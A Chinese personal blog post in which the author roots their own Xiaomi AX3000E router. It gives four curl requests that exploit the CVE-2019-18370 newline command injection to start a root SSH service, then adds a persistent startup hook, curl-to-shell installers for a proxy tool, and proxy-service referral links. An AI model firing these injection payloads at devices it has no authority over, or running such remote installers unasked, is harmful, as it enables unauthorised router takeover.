mobile wallpaper 1mobile wallpaper 2mobile wallpaper 3mobile wallpaper 4mobile wallpaper 5mobile wallpaper 6
798 字
2 分钟
记一次xiaomi路由器的改造
2026-08-07

记一次xiaomi路由器的改造#

事情的起因是在打扫大四老登的遗留物的时候淘了一个xiaomi的路由器,型号是xiaomi ax3000e,虽然不是什么新版本的,但是放在宿舍也够用了,如果只是拿他来连wifi就太浪费了,于是上网找有没有什么root的办法

⚠️ 警告:以下操作涉及路由器系统底层修改,存在变砖风险。请自行承担所有操作后果,作者不对任何设备损坏或数据丢失负责。建议在操作前备份重要数据,并确保有恢复手段(如官方救砖工具)。

解锁ssh#

首先路由器开机并连接他的网络,xiaomi路由器的后台通常是

192.168.31.1

登录后台获取登录凭证(stok)#

登录路由器管理后台http://192.168.31.1 ,登录成功后,观察浏览器地址栏,会看到类似这样的URL:

http://192.168.31.1/cgi-bin/luci/web?stok=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&...

其中 stok 后面跟着的那一串32位字符就是你的STOK。注意:STOK在每次登录时都会重新生成,复制后请尽快使用。

执行rce#

然后电脑开启管理员权限的cmd

Terminal window
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20set%20ssh_en%3D1'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Anvram%20commit'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0Ased%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%22debug%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear'"
curl -X POST http://192.168.31.1/cgi-bin/luci/;stok=xxx/api/xqsystem/start_binding -d "uid=1234&key=1234'%0A%2Fetc%2Finit.d%2Fdropbear%20start'"

注意上面的命令需要将stok改为你机子对应的stok,进入后台后就能看到

这里用的是小米路由器经典的rce漏洞(CVE-2019-18370),通过start_binding接口的key参数注入换行符

原理是通过%0A也就是回车将key命令和之后的命令截断,实现命令的执行

上面这四条命令为

Terminal window
nvram set ssh_en=1 #开启ssh
nvram commit #保存配置
sed -i 's/channel=.*/channel="debug"/g' /etc/init.d/dropbear #修改dropbear启动脚本,绕过某些限制
/etc/init.d/dropbear start #手动执行启动脚本,启动SSH服务

这样就通过rce漏洞开启了一个root权限的ssh

账号是root,密码通过网站计算ssh密码计算网站

在网址中输入你的SN就能给出ssh的默认密码,SN通常会在路由器底部,也可以在后台管理网址看到

之后用你的小工具登录ssh即可(我是用termius来管理ssh)

固定ssh#

接下来就是永久固定ssh,将配置写进底层存储(NVRAM),这样你断电或重启之后配置也不会消失

nvram set ssh_en=1
nvram set telnet_en=1
nvram set uart_en=1
nvram set boot_wait=on
nvram commit

用脚本永久开启ssh

mkdir /data/auto_ssh && cd /data/auto_ssh
curl -O https://fastly.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.sh
chmod +x auto_ssh.sh
uci set firewall.auto_ssh=include
uci set firewall.auto_ssh.type='script'
uci set firewall.auto_ssh.path='/data/auto_ssh/auto_ssh.sh'
uci set firewall.auto_ssh.enabled='1'
uci commit firewall

关于NVRAM#

NVRAM(Non-Volatile Random Access Memory,非易失性随机存取存储器)是一种断电后数据不会丢失的存储芯片。在路由器中,NVRAM用于存储系统配置参数,类似于电脑的CMOS。通过 nvram 命令可以读写这些参数:

  • nvram set key=value:设置参数
  • nvram commit:将当前所有修改写入永久存储
  • nvram get key:读取参数

科学上网#

ShellCrash是一个在shell端上运行的代理工具,支持Clash内核。

shellcrash安装

export url='https://fastly.jsdelivr.net/gh/juewuy/ShellCrash@master' && sh -c "$(curl -kfsSl $url/install.sh)" && source /etc/profile &> /dev/null

备用安装源

export url='https://gh.jwsc.eu.org/master' && sh -c "$(curl -kfsSl $url/install.sh)" && source /etc/profile &> /dev/null

安装之后会开启配置脚本,只需要按照脚本的引导配置机场,和使用clash没什么区别,所以具体的配置过程略

管理面板(代理)192.168.31.1:9999 | 代理当然也可以自己本地下载面板,这样安全一些

机场推荐

https://1s.bigmeok.me/user#/register?code=fg1frgCN

https://ikuuu.foo/auth/register?code=8Ljl

https://dash.pqjc.site/register?code=sOAPdaTp&cover=sfw

分享

如果这篇文章对你有帮助,欢迎分享给更多人!

记一次xiaomi路由器的改造
https://blog.btop251.top/posts/others/xiaomi0807/
作者
btop251
发布于
2026-08-07
许可协议
CC BY-NC-SA 4.0

部分信息可能已经过时

目录